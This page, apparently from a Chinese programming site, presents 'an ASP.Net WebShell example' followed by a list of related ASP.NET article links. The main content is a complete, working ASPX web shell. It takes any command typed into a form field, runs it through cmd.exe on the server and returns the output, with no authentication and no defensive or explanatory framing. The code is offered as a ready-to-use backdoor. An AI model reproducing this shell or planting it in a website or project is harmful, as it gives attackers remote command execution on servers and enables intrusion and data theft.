一個ASP.Net下的WebShell實(shí)例
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web" %>
<%@ Import Namespace="System.Web.UI" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<script runat="server">
protected void exec(object sender, EventArgs e)
{
string item = cmd.Text;
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;
string strOutput = null;
p.Start();
p.StandardInput.WriteLine(item);
p.StandardInput.WriteLine("exit");
strOutput = p.StandardOutput.ReadToEnd();
p.WaitForExit();
p.Close();
Response.Write("<pre>");
Response.Write(strOutput);
Response.Write("</pre>");
}
protected void Page_Load(object sender, EventArgs e)
{
}
</script>
<form id="form1" runat="server">
<asp:TextBox id="cmd" runat="server" Text="dir c:" /><asp:Button id="btn" onclick="exec" runat="server" Text="execute" />
</form>
相關(guān)文章
Entity Framework Core對Web項(xiàng)目生成數(shù)據(jù)庫表
這篇文章介紹了Entity Framework Core對Web項(xiàng)目生成數(shù)據(jù)庫表的方法,文中通過示例代碼介紹的非常詳細(xì)。對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下2022-03-03GridView分頁的實(shí)現(xiàn)(通用分頁模板)
要在GridView中加入AllowPaging=true,一頁數(shù)據(jù)多少行PageSize=10分頁時觸發(fā)的事件OnPageIndexChanging等等,感興趣的朋友可以了解下本文,希望對你有所幫助2013-04-04ASP.NET Core使用GraphQL第一章之Hello World
這篇文章主要給大家介紹了關(guān)于ASP.NET Core使用GraphQL第一章之Hello World的相關(guān)資料,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2018-11-11asp.net gridview中用checkbox全選的幾種實(shí)現(xiàn)的區(qū)別
這幾天為了改變客戶端grid的全選效率問題,詳細(xì)研究了ext中g(shù)rid的全選和gridview中通過腳本實(shí)現(xiàn)的全選效率,總結(jié)一下,供大家參考,有錯誤的地方,希望大俠指正,小弟獻(xiàn)丑了。2009-06-06vs.net 2010 擴(kuò)展插件小結(jié) 提高編程效率
本文價紹了幾款Visual Studio提供的插件,提高我們的編程效率。2011-03-03如何使用ASP.NET創(chuàng)建網(wǎng)站并設(shè)計(jì)web頁面
這篇文章主要介紹了如何使用ASP.NET創(chuàng)建網(wǎng)站,幫助大家更好的理解和學(xué)習(xí)使用ASP.NET技術(shù),感興趣的朋友可以了解下2021-04-04ASP.NET.4.5.1+MVC5.0設(shè)置系統(tǒng)角色與權(quán)限(二)
這篇文章主要介紹了使用ASP.NET.4.5.1+MVC5.0構(gòu)建項(xiàng)目中設(shè)置系統(tǒng)角色的全部過程,十分的詳細(xì),附上全部源碼,推薦給想學(xué)習(xí).net+mvc的小伙伴們2015-01-01asp.net Reporting Service在Web Application中的應(yīng)用
由于我們這個項(xiàng)目中使用微軟的報表服務(wù)(Reporting Services)作為報表輸出工具,本人也對它進(jìn)行一點(diǎn)點(diǎn)研究,雖沒有入木三分,但這點(diǎn)知識至少可以在大部分Reporting Service的場景中應(yīng)用。2008-11-11